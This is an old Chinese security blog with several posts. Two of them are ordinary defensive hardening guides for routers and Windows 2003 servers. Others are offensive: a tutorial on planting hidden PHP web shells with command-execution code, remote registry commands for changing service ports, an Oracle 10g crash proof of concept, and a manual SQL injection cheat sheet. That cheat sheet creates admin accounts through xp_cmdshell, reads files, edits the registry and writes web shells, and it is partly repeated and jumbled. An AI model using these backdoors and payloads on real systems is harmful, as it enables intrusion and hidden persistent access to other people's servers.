Sunday, November 5, 2006

高人对四大杀毒软件的评价(卡巴 麦咖啡 诺顿 nod32)

一、卡巴就好象西毒,凶猛强悍,神功盖世,对敌决不留情,出手狠辣,招招夺命,绝少失手,不愧为一代枭雄,但毕竟练的不是纯正内功,容易走火入魔,导致系统出问题。

二、麦咖啡就象东邪,玉树临风,俊朗潇洒,对敌招式繁多,机关重重,杀伐决断从不迟疑,为江湖第一机智聪明之人,但因其心机太深,令人难以掌握。


三、诺顿就象南帝,雍容华贵,稳沉厚重,胸怀博大,练的是纯正内功,靠的是教化感人,对敌有慈悲心肠,一般采取隔离教化,使其不再作恶,很少杀人,称的上是一代宗师,但因其过于敦厚,不仅自己活的累,别人也为他感到累。

四、nod32就想北丐,来无影去无踪,潇潇洒洒,笑傲江湖,对敌用的是逍遥游和打狗棍法,江湖上少有对手,但因其过于轻浮,难免误事。

国产的就像全真七子 ,一起上还凑合。

Posted by Wyulnnhtg at 05:38:04 | Permalink | No Comments »

Thursday, August 17, 2006

PHP后门隐藏

首先建立一PHP文件test.php 文件内容为:
  
  $test=$_GET['test'];

  @include ‘test/’.$test;

  ?>   

  Txt文件一般都是说明文件,所以我们把一句话木马放到目录的说明文件里就OK了。随便建立一个TXT文件t.txt。我们把一句话木马粘贴到t.txt文件里。然后访问http://localhost/test/test.php?test=../t.txt如果你看到t.txt的内容就证明Ok了, 然后把在lanker微型PHP后门客户端 木马地址添入http://localhost/test/test.php?test=../t.txt密码里添入cmd就可以了,执行返回的结果都可以看到。 


方法2现在的webshell是越来越流行了,连php的后门也追上来了,主要的有angel的phpspy和lanker的一句话后门!所以现在最主要的是怎么隐蔽我们的后门,想必看完我的文章大家都有自己各自的想法了。 其实lanker的一句话后门确实很强大,但是要用户使用客户端的话会带来一些不必要的麻烦,虽然可以使程序没有记录,(POST没记录的哦)但是对于一般的站点这其实并不是很重要。 有没与想过把phpspy插到一个文件里去呢?没有想过吗? 呵呵,跟我来,我们用记事本打开phspy就好了,搜索登录入口四个字。 在

  function loginpage() { ?>    
后面加上  

<? if ($ _ GET[name] == wrsky) { ?>    
 再在  

<?php      exit;   }//end loginpage()      
 前面面加上  

 <? } ?>    
 现在你可以把这一个phpspy都写到对方的某个正常的php文件里,直接浏览是看不出问题的喔,我们要登录的时候就直接在文件名后面加上?name=wrsky才可以看到   当然你也可以改成别的,只要替代上面 代码 里的name和wrsky就可以的,相信自己动手你会觉得收获很大的。 如果你要自己改写一些简单的 代码 而你又不会php的话,这里就有样东西要介绍给你哦~php后门插入器,呵呵,你可以在http://www.wrsky.com  火狐下载到它~~ 我们来看看怎么使用这个 工具 。先看看这个程序的样子。  呵呵~红色的喔,粉PP吧~~我们来测试一下,我在这里提供一段 代码  

<center>执行CMD命令</center>  <form action= method=POST>  <center>想执行的命令:  <input name=cmd size=40 value=<?echo$cmd?>>  <input name=action type=hidden value=run>  <input type=submit class=INPUT value=执行<?echo PHP _ OS;?>系统命令></form>  <td align=center>  <textarea name=textarea cols=100 rows=25 readonly>  <?  if($ _ POST[action] == run){ @system($ _ POST[cmd]);  }  ?> </textarea>    
 这段 代码 是执行cmd命令的,我们利用插入 工具 进行插入看看! 没插入前的样子  我的设置为参数名为name,参数值为wrsky。插入文件我用了相对路径./ceshi.php 大家可以参考我插入的设置。因为程序和要插入的文件在同目录所以我写了./ceshi.php当然了,你也可以写成/home/imaboy/bk.php(因为这是 linux 系统) 显示写入文件成功,我们开始连接咱的 木马 ,以为我用的参数的name,值是wrsky,所以连接方式为 木马 所在地址?name=wrsky 大家可以看到,在输入后面的参数后运行完全正常,而且不易被发现喔,很可能被带到另外一台主机上去喔 。 ,
呵呵,只要想一点,你们肯定还会有更好的办法的!

Posted by Wyulnnhtg at 02:45:57 | Permalink | No Comments »

命令行方式修改远程任意端口

命令行方式下快速修改本地或远程端口(telnet termsrv w3svc smtp iis ftp )  
补充在DiscuzEXP下用MYPHPADMIN拿导出拿到的EWBSHELL是系统权限。可以执行任意命令

Reg add “\\ip\ HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v portnumber  

/t reg_dword /d 123 /f  
reg add “\\ip\ HKLM\SOFTWARE\Microsoft\TelnetServer\Defaults” /v telnetport /t reg_dword /d 123  

Reg add “\\ip\HKLM\SYSTEM\CurrentControlSet\Control\ServiceProvider\ServiceTypes\W3SVC” /v tcpport  
/t reg_dword /d 123 /f  

Reg add “\\ip\HKLM\SYSTEM\CurrentControlSet\Control\ServiceProvider\ServiceTypes\SMTPSVc” /v tcpport  
/t reg_dword /d 123 /f  

Reg add “\\ip\HKLM\SYSTEM\CurrentControlSet\Control\ServiceProvider\ServiceTypes\MSFTPSVC” /v tcpport  
/t reg_dword /d 123 /f  

Reg add “\\ip\HKLM\SYSTEM\CurrentControlSet\Control\ServiceProvider\ServiceTypes\ Microsoft Internet Information Server” /v tcpport  
/t reg_dword /d 123 /f  

若显示Error: The network path was not found.  
则说明对方没有开启Remote Registry Service服务  
可用一下命令:net start remoteregistry

Posted by Wyulnnhtg at 02:43:08 | Permalink | No Comments »

Sunday, August 13, 2006

看看这位初中生,看看这些大学,再看看这位网络专家~

16岁初中生连“黑”北京数所高校网站

  前天下午,北京航空航天大学经济管理学院的网站被黑客入侵,由于学校网站维护人员不在,导致该网站一直无法登录。该黑客自称是一名16岁的初中学生,攻击网站是为了提醒其存在漏洞。此后他又攻击了几所北京高校的网站。

  市民史先生称,从前天下午到晚上一直无法正常登录北航经管学院网站,屏幕上只显示一排黑客留语。史先生称自己有很重要的信息需要查询,给该院网站管理单位打电话也没有人接。

  前晚11点左右,记者登录该网站,看到黑客LTZM的留言,称“偶没啥意思,只是想告诉你网站有漏洞”,并在后面留下了自己的QQ号。昨晚8点左右,该黑客又攻击了中国农业大学信息与电器工程学院网站,留下了相同内容。

  昨天中午,北航经管学院值班负责人称,目前学校已经放假,负责网站维护的几个老师也不在,只能等到老师们回来后才能将网站恢复,学生需要查询信息也只能等到系统恢复后再查。目前已经有北航学生在BBS上表达愤怒,并通过QQ谴责黑客的行为。

  昨天下午,记者通过黑客留下的QQ号与他取得了联系,他自称今年16岁,在广东珠海上初三,他用一个破解软件发现了许多学校网站都存在漏洞,其中就包括北航经管学院网站。他说黑网站是为了给这些学校提个醒,尽快修补这些漏洞,并没有删除网站内的信息,维护人员只要将系统文件修改一下就可以恢复使用了。记者一再告知其这种行为可能违法时,他表示只是心血来潮,不敢黑太多网站,他也害怕真被抓起来,但同时他又说如果有时间,他还会找几个有漏洞学校网站“提醒”他们一下。

  北京市公安局网络监察处民警称,恶意攻击网站属于违法行为,一经发现将会视情节给予相应处罚。网络专家称,服务器管理者应该及时下载各类系统补丁弥补漏洞,并将服务器密码设置较为复杂,安装DOS防火墙,防止恶性攻击。


PS:

    先寒一个这位网络专家~”网络专家称,服务器管理者应该及时下载各类系统补丁弥补漏洞,并将服务器密码设置较为复杂,安装DOS防火墙,防止恶性攻击。”这位网络专家可真搞笑~很明显那娃根本就不是利用服务器方面的漏洞攻击的!你丫把补丁打天上去了,也白扯~
丫还有更搞笑的:安装DOS防火墙~真想搞你,你整个250米厚的城墙也没用~DDOS目前应该还没有绝对防御的手段!至少据我所知是没出有!
来~这位专家咱们来替它鼓个掌~~~
    接着说这几所”大学”~现在已经21世纪了,网络已发展至今,您做为一个大学(中国教育已经产业化发展了),应该&绝对有足够的经济和技术实力啊!竟然搞出一个让小屁孩拿几个玩具就把你网站给干了.而且还那么久都没发现!~你丫还好意思教大学生?赶紧散了吧!别让家长浪费钱,别让孩子浪费青春了!进一步讲,这次攻击要不是这孩子,而是国外某些黑客组织,你丫就没这么幸运了!删你资料,毁你系统,格你硬盘,烧你主板!~看你丫到时候叫爷爷也没用!!!
    咱再来说说这孩子~先来总结这小屁孩的几点特征:这孩子好学是绝对的,好奇心也挺强,最重要的是这孩子还好面子,爱出风头~孩子,现在你小,不懂社会险恶!等你长大了再这样,是要吃大亏的!你学计算机技术,是对的!喜欢网络安全,这更好了!用先辈写的软件来练习,掌握原理这也不错~但是你练习甭拿大学网站练啊~练了,你倒是别改人主页啊~改主页,你倒是别留联系方式啊~真有本事的,入侵了,改了主页,资料删了,也别让人捉到,这是高手!你丫倒好,整个小破玩具,还黑网站,改主页~想出名是吧?那我没招了!

Posted by Wyulnnhtg at 09:12:34 | Permalink | No Comments »

Saturday, August 12, 2006

通过路由器配置保护内网安全

    对于大多数企业局域网来说,路由器已经成为正在使用之中的最重要的安全设备之一。一般来说,大多数网络都有一个主要的接入点。这就是通常与专用防火墙一起使用的“边界路由器”。
  经过恰当的设置,边缘路由器能够把几乎所有的最顽固的坏分子挡在网络之外。如果你愿意的话,这种路由器还能够让好人进入网络。不过,没有恰当设置的路由器只是比根本就没有安全措施稍微好一点。
    在下列指南中,我们将研究一下你可 以用来保护网络安全的9个方便的步骤。这些步骤能够保证你拥有一道保护你的网络的砖墙,而不是一个敞开的大门。

1.修改默认的口令
  据国外调查显示,80%的安全突破事件是由薄弱的口令引起的。网络上有大多数路由器的广泛的默认口令列表。你可以肯定在某些地方的某个人会知道你的生日。SecurityStats.com网站维护一个详尽的可用/不可用口令列表,以及一个口令的可靠性测试。  2.关闭IP直接广播(IP Directed Broadcast)
  你的服务器是很听话的。让它做什么它就做什么,而且不管是谁发出的指令。Smurf攻击是一种拒绝服务攻击。在这种攻击中,攻击者使用假冒的源地址向你的网络广播地址发送一个“ICMP echo”请求。这要求所有的主机对这个广播请求做出回应。这种情况至少会降低你的网络性能。
    参考你的路由器信息文件,了解如何关闭IP直接广播。例如,“Central(config)#no ip source-route”这个指令将关闭思科路由器的IP直接广播地址。

3.如果可能,关闭路由器的HTTP设置
  正如思科的技术说明中简要说明的那样,HTTP使用的身份识别协议相当于向整个网络发送一个未加密的口令。然而,遗憾的是,HTTP协议中没有一个用于验证口令或者一次性口令的有效规定。
  虽然这种未加密的口令对于你从远程位置(例如家里)设置你的路由器也许是非常方便的,但是,你能够做到的事情其他人也照样可以做到。特别是如果你仍在使用默认的口令!如果你必须远程管理路由器,你一定要确保使用SNMPv3以上版本的协议,因为它支持更严格的口令。

4.封锁ICMP ping请求
    ping的主要目的是识别目前正在使用的主机。因此,ping通常用于更大规模的协同性攻击之前的侦察活动。通过取消远程用户接收ping请求的应答能力,你就更容易避开那些无人注意的扫描活动或者防御那些寻找容易攻击的目标的“脚本小子”(script kiddies)。
  请注意,这样做实际上并不能保护你的网络不受攻击,但是,这将使你不太可能成为一个攻击目标。

5.关闭IP源路由
  IP协议允许一台主机指定数据包通过你的网络的路由,而不是允许网络组件确定最佳的路径。这个功能的合法的应用是用于诊断连接故障。但是,这种用途很少应用。这项功能最常用的用途是为了侦察目的对你的网络进行镜像,或者用于攻击者在你的专用网络中寻找一个后门。除非指定这项功能只能用于诊断故障,否则应该关闭这个功能。

6.确定你的数据包过滤的需求
   封锁端口有两项理由。其中之一根据你对安全水平的要求对于你的网络是合适的。
  对于高度安全的网络来说,特别是在存储或者保持秘密数据的时候,通常要求经过允许才可以过滤。在这种规定中,除了网路功能需要的之外,所有的端口和IP地址都必要要封锁。例如,用于web通信的端口80和用于SMTP的110/25端口允许来自指定地址的访问,而所有其它端口和地址都可以关闭。
  大多数网络将通过使用“按拒绝请求实施过滤”的方案享受可以接受的安全水平。当使用这种过滤政策时,可以封锁你的网络没有使用的端口和特洛伊木马或者侦查活动常用的端口来增强你的网络的安全性。例如,封锁139端口和445(TCP和UDP)端口将使黑客更难对你的网络实施穷举攻击。封锁31337(TCP和UDP)端口将使Back Orifice木马程序更难攻击你的网络。
  这项工作应该在网络规划阶段确定,这时候安全水平的要求应该符合网络用户的需求。查看这些端口的列表,了解这些端口正常的用途。
 
7.建立准许进入和外出的地址过滤政策
  在你的边界路由器上建立政策以便根据IP地址过滤进出网络的违反安全规定的行为。除了特殊的不同寻常的案例之外,所有试图从你的网络内部访问互联网的IP地址都应该有一个分配给你的局域网的地址。例如,192.168.0.1这个地址也许通过这个路由器访问互联网是合法的。但是,216.239.55.99这个地址很可能是欺骗性的,并且是一场攻击的一部分。
相反,来自互联网外部的通信的源地址应该不是你的内部网络的一部分。因此,应该封锁入网的192.168.X.X、172.16.X.X和10.X.X.X等地址。
    最后,拥有源地址的通信或者保留的和无法路由的目标地址的所有的通信都应该允许通过这台路由器。这包括回送地址127.0.0.1或者E类(class E)地址段240.0.0.0-254.255.255.255。

8.保持路由器的物理安全
  从网络嗅探的角度看,路由器比集线器更安全。这是因为路由器根据IP地址智能化地路由数据包,而集线器相所有的节点播出数据。如果连接到那台集线器的一个系统将其网络适配器置于混乱的模式,它们就能够接收和看到所有的广播,包括口令、POP3通信和Web通信。
  然后,重要的是确保物理访问你的网络设备是安全的,以防止未经允许的笔记本电脑等嗅探设备放在你的本地子网中。

9.花时间审阅安全记录
  审阅你的路由器记录(通过其内置的防火墙功能)是查出安全事件的最有效的方法,无论是查出正在实施的攻击还是未来攻击的征候都非常有效。利用出网的记录,你还能够查出试图建立外部连接的特洛伊木马程序和间谍软件程序。用心的安全管理员在病毒传播者作出反应之前能够查出“红色代码”和“Nimda”病毒的攻击。
  此外,一般来说,路由器位于你的网络的边缘,并且允许你看到进出你的网络全部通信的状况。

Posted by Wyulnnhtg at 05:58:40 | Permalink | No Comments »

Win2003环境下简单的安全配置

  Win2003 Server的安全性较之Win2K确实有了很大的提高,但是用Win2003 Server作为服务器是否就真的安全了?如何才能打造一个安全的个人Web服务器?下面我们简单介绍一下

  一、Windows Server2003的安装

  1、安装系统最少两需要个分区,分区格式都采用NTFS格式

  2、在断开网络的情况安装好2003系统

  3、安装IIS,仅安装必要的 IIS 组件(禁用不需要的如FTP 和 SMTP 服务)。默认情况下,IIS服务没有安装,在添加/删除Win组件中选择“应用程序服务器”,然后点击“详细信息”,双击Internet信息服务(iis),勾选以下选项:

  Internet 信息服务管理器;

  公用文件;

  后台智能传输服务 (BITS) 服务器扩展;

  万维网服务。

  如果你使用 FrontPage 扩展的 Web 站点再勾选:FrontPage 2002 Server Extensions

  4、安装MSSQL及其它所需要的软件然后进行Update。

  5、使用Microsoft 提供的 MBSA(Microsoft Baseline Security Analyzer) 工具分析计算机的安全配置,并标识缺少的修补程序和更新。下载地址:见页末的链接

  二、设置和管理账户

  1、系统管理员账户最好少建,更改默认的管理员帐户名(Administrator)和描述,密码最好采用数字加大小写字母加数字的上档键组合,长度最好不少于14位。

  2、新建一个名为Administrator的陷阱帐号,为其设置最小的权限,然后随便输入组合的最好不低于20位的密码

  3、将Guest账户禁用并更改名称和描述,然后输入一个复杂的密码,当然现在也有一个DelGuest的工具,也许你也可以利用它来删除Guest账户,但我没有试过。

  4、在运行中输入gpedit.msc回车,打开组策略编辑器,选择计算机配置-Windows设置-安全设置-账户策略-账户锁定策略,将账户设为“三次登陆无效”,“锁定时间为30分钟”,“复位锁定计数设为30分钟”。

  5、在安全设置-本地策略-安全选项中将“不显示上次的用户名”设为启用

  6、在安全设置-本地策略-用户权利分配中将“从网络访问此计算机”中只保留Internet来宾账户、启动IIS进程账户。如果你使用了Asp.net还要保留Aspnet账户。

  7、创建一个User账户,运行系统,如果要运行特权命令使用Runas命令。

  三、网络服务安全管理

  1、禁止C$、D$、ADMIN$一类的缺省共享

  打开注册表,HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters,在右边的窗口中新建Dword值,名称设为AutoShareServer值设为0

  2、 解除NetBios与TCP/IP协议的绑定

  右击网上邻居-属性-右击本地连接-属性-双击Internet协议-高级-Wins-禁用TCP/IP上的NETBIOS

  3、关闭不需要的服务,以下为建议选项

  Computer Browser:维护网络计算机更新,禁用

  Distributed File System: 局域网管理共享文件,不需要禁用

  Distributed linktracking client:用于局域网更新连接信息,不需要禁用

  Error reporting service:禁止发送错误报告

  Microsoft Serch:提供快速的单词搜索,不需要可禁用

  NTLMSecuritysupportprovide:telnet服务和Microsoft Serch用的,不需要禁用

  PrintSpooler:如果没有打印机可禁用

  Remote Registry:禁止远程修改注册表

  Remote Desktop Help Session Manager:禁止远程协助

  四、打开相应的审核策略

  在运行中输入gpedit.msc回车,打开组策略编辑器,选择计算机配置-Windows设置-安全设置-审核策略在创建审核项目时需要注意的是如果审核的项目太多,生成的事件也就越多,那么要想发现严重的事件也越难当然如果审核的太少也会影响你发现严重的事件,你需要根据情况在这二者之间做出选择。

  推荐的要审核的项目是:

  登录事件   成功 失败

  账户登录事件 成功 失败

  系统事件   成功 失败

  策略更改   成功 失败

  对象访问   失败

  目录服务访问 失败

  特权使用   失败

  五、其它安全相关设置

  1、隐藏重要文件/目录

  可以修改注册表实现完全隐藏:“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows Current-VersionExplorerAdvancedFolderHi-ddenSHOWALL”,鼠标右击 “CheckedValue”,选择修改,把数值由1改为0

  2、启动系统自带的Internet连接防火墙,在设置服务选项中勾选Web服务器。

  3、防止SYN洪水攻击

  HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParameters

  新建DWORD值,名为SynAttackProtect,值为2

  4. 禁止响应ICMP路由通告报文

  HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParametersInterfacesinterface

  新建DWORD值,名为PerformRouterDiscovery 值为0

  5. 防止ICMP重定向报文的攻击

  HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParameters

  将EnableICMPRedirects 值设为0

  6. 不支持IGMP协议

  HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParameters

  新建DWORD值,名为IGMPLevel 值为0

  7、禁用DCOM:

  运行中输入 Dcomcnfg.exe。 回车, 单击“控制台根节点”下的“组件服务”。 打开“计算机”子文件夹。

  对于本地计算机,请以右键单击“我的电脑”,然后选择“属性”。选择“默认属性”选项卡。

  清除“在这台计算机上启用分布式 COM”复选框。

  注:3-6项内容我采用的是Server2000设置,没有测试过对2003是否起作用。但有一点可以肯定我用了一段的时间没有发现其它副面的影响。

  六、配置 IIS 服务:

  1、不使用默认的Web站点,如果使用也要将 将IIS目录与系统磁盘分开。

  2、删除IIS默认创建的Inetpub目录(在安装系统的盘上)。

  3、删除系统盘下的虚拟目录,如:_vti_bin、IISSamples、Scripts、IIShelp、IISAdmin、IIShelp、MSADC。

  4、删除不必要的IIS扩展名映射。

  右键单击“默认Web站点→属性→主目录→配置”,打开应用程序窗口,去掉不必要的应用程序映射。主要为.shtml, .shtm, .stm

  5、更改IIS日志的路径

  右键单击“默认Web站点→属性-网站-在启用日志记录下点击属性

  6、如果使用的是2000可以使用iislockdown来保护IIS,在2003运行的IE6.0的版本不需要。

  7、使用UrlScan

  UrlScan是一个ISAPI筛选器,它对传入的HTTP数据包进行分析并可以拒绝任何可疑的通信量。目前最新的版本是2.5,如果是2000Server需要先安装1.0或2.0的版本。下载地址见页未的链接

  如果没有特殊的要求采用UrlScan默认配置就可以了。

  但如果你在服务器运行ASP.NET程序,并要进行调试你需打开要%WINDIR%System32InetsrvURLscan

  文件夹中的URLScan.ini 文件,然后在UserAllowVerbs节添加debug谓词,注意此节是区分大小写的。

  如果你的网页是.asp网页你需要在DenyExtensions删除.asp相关的内容。

  如果你的网页使用了非ASCII代码,你需要在Option节中将AllowHighBitCharacters的值设为1

  在对URLScan.ini 文件做了更改后,你需要重启IIS服务才能生效,快速方法运行中输入iisreset

  如果你在配置后出现什么问题,你可以通过添加/删除程序删除UrlScan。

  8、利用WIS (Web Injection Scanner)工具对整个网站进行SQL Injection 脆弱性扫描.

  下载地址:[http://www.fanvb.net/websample/othersample.aspx]VB.NET爱好者[/url]

  七、配置Sql服务器

  1、System Administrators 角色最好不要超过两个

  2、如果是在本机最好将身份验证配置为Win登陆

  3、不要使用Sa账户,为其配置一个超级复杂的密码

  4、删除以下的扩展存储过程格式为:
  use master
  sp_dropextendedproc ‘扩展存储过程名’

  xp_cmdshell:是进入操作系统的最佳捷径,删除

  访问注册表的存储过程,删除
  Xp_regaddmultistring  Xp_regdeletekey  Xp_regdeletevalue  Xp_regenumvalues  
  Xp_regread      Xp_regwrite     Xp_regremovemultistring    

  OLE自动存储过程,不需要删除
  Sp_OACreate   Sp_OADestroy    Sp_OAGetErrorInfo  Sp_OAGetProperty
  Sp_OAMethod  Sp_OASetProperty  Sp_OAStop

  5、隐藏 SQL Server、更改默认的1433端口

  右击实例选属性-常规-网络配置中选择TCP/IP协议的属性,选择隐藏 SQL Server 实例,并改原默认的1433端口。

  八、如果只做服务器,不进行其它操作,使用IPSec

  1、管理工具—本地安全策略—右击IP安全策略—管理IP筛选器表和筛选器操作—在管理IP筛选器表选项下点击

  添加—名称设为Web筛选器—点击添加—在描述中输入Web服务器—将源地址设为任何IP地址——将目标地址设为我的IP地址——协议类型设为Tcp——IP协议端口第一项设为从任意端口,第二项到此端口80——点击完成——点击确定。

  2、再在管理IP筛选器表选项下点击

  添加—名称设为所有入站筛选器—点击添加—在描述中输入所有入站筛选—将源地址设为任何IP地址——将目标地址设为我的IP地址——协议类型设为任意——点击下一步——完成——点击确定。

  3、在管理筛选器操作选项下点击添加——下一步——名称中输入阻止——下一步——选择阻止——下一步——完成——关闭管理IP筛选器表和筛选器操作窗口

  4、右击IP安全策略——创建IP安全策略——下一步——名称输入数据包筛选器——下一步——取消默认激活响应原则——下一步——完成

  5、在打开的新IP安全策略属性窗口选择添加——下一步——不指定隧道——下一步——所有网络连接——下一步——在IP筛选器列表中选择新建的 Web筛选器——下一步——在筛选器操作中选择许可——下一步——完成——在IP筛选器列表中选择新建的阻止筛选器——下一步——在筛选器操作中选择阻止 ——下一步——完成——确定

  6、在IP安全策略的右边窗口中右击新建的数据包筛选器,点击指派,不需要重启,IPSec就可生效.

  九、建议

  如果你按本文去操作,建议每做一项更改就测试一下服务器,如果有问题可以马上撤消更改。而如果更改的项数多,才发现出问题,那就很难判断问题是出在哪一步上了。

  十、运行服务器记录当前的程序和开放的端口

  1、将当前服务器的进程抓图或记录下来,将其保存,方便以后对照查看是否有不明的程序。

  2、将当前开放的端口抓图或记录下来,保存,方便以后对照查看是否开放了不明的端口。当然如果你能分辨每一个进程,和端口这一步可以省略

Posted by Wyulnnhtg at 05:10:11 | Permalink | No Comments »

Tuesday, August 1, 2006

Oracle 10g更改会话整数溢出漏洞

Oracle在处理更改会话操作时存在整数溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。

仅拥有SELECT权限的用户可以通过提交超长的alter session请求来触发这个漏洞,导致在数据库中执行任意命令。

测试方法:


以仅有CREATE SESSION权限用户的身份连接到数据库。

SQL> alter session set events ‘10046 trace name context forever, level 16′;

Session altered.

SQL> alter session set events
‘10046100461004610046100461004610046100461004610046100461004610046100461
004610046100461004610046100461004610046100461004610046100461004610046100
461004610046100461004610046100461004610046100461004610046100461004610046
100461004610046100461004610046100461004610046100461004610046100461004610
046100461004610046100461004610046100461004610046100461004610046100461004
610046100461004610046100461004610046100461004610046100461004610046100461
004610046100461004610046100461004610046100461004610046100461004610046100
461004610046100461004610046100461004610046100461004610046100461004610046
100461004610046100461004610046100461004610046100461004610046100461004610
046100461004610046100461004610046100461004610046100461004610046100461004
610046100461004610046100461004610046100461004610046100461004610046100461
004610046100461004610046100461004610046100461004610046100461004610046100
461004610046100461004610046100461004
610046100461004610046100461004610046100461004610046100461004610046100461
00461004610046trace
name context forever, level 16′;
ERROR:
ORA-00600: internal error code, arguments: [300], [985], [], [], [], [], [],
[]

目前厂商还没有提供补丁或者升级程序

Posted by Wyulnnhtg at 12:12:20 | Permalink | No Comments »

Monday, July 24, 2006

手动注入脚本命令精华版

1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符’and [查询条件] and ”=’

4.搜索时没过滤参数的’and [查询条件] and ‘%25′=’

5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0 1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符’and [查询条件] and ”=’

4.搜索时没过滤参数的’and [查询条件] and ‘%25′=’

5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER(’sysadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’serveradmin’));–
;and 1=(select IS_SRVROLEMEMBER(’setupadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’securityadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’diskadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));–
;and 1=(select IS_MEMBER(’db_owner’));–

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;–

;exec master.dbo.sp_password null,username,password;–

;exec master.dbo.sp_addsrvrolemember sysadmin username;–

;exec master.dbo.xp_cmdshell ‘net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add’;–

;exec master.dbo.xp_cmdshell ‘net user username password /add’;–

;exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add’;–

12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree ‘c:’
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(’上步得到的paths’))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;– 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:\web\index.asp’;– 查看文件的内容

13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
;exec xp_regread
‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion’,'CommonFilesDir’ 返回制定键的值

xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion’,'TestValueName’,'reg_sz’,'hello’ 写入注册表

xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion’,'TestValueName’ 删除某个值

xp_regdeletekey ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey’ 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values (”);
backup database model to disk=’c:\l.asp’;

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=’dbo’ 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell

use model

create table cmd(str image);

insert into cmd(str) values (”);

backup database model to disk=’g:\wwwtest\l.asp’;

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER(’sysadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’serveradmin’));–
;and 1=(select IS_SRVROLEMEMBER(’setupadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’securityadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’diskadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));–
;and 1=(select IS_MEMBER(’db_owner’));–

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;–

;exec master.dbo.sp_password null,username,password;–

;exec master.dbo.sp_addsrvrolemember sysadmin username;–

;exec master.dbo.xp_cmdshell ‘net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add’;–

;exec master.dbo.xp_cmdshell ‘net user username password /add’;–

;exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add’;–

12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree ‘c:’
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(’上步得到的paths’))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;– 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:\web\index.asp’;– 查看文件的内容

13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
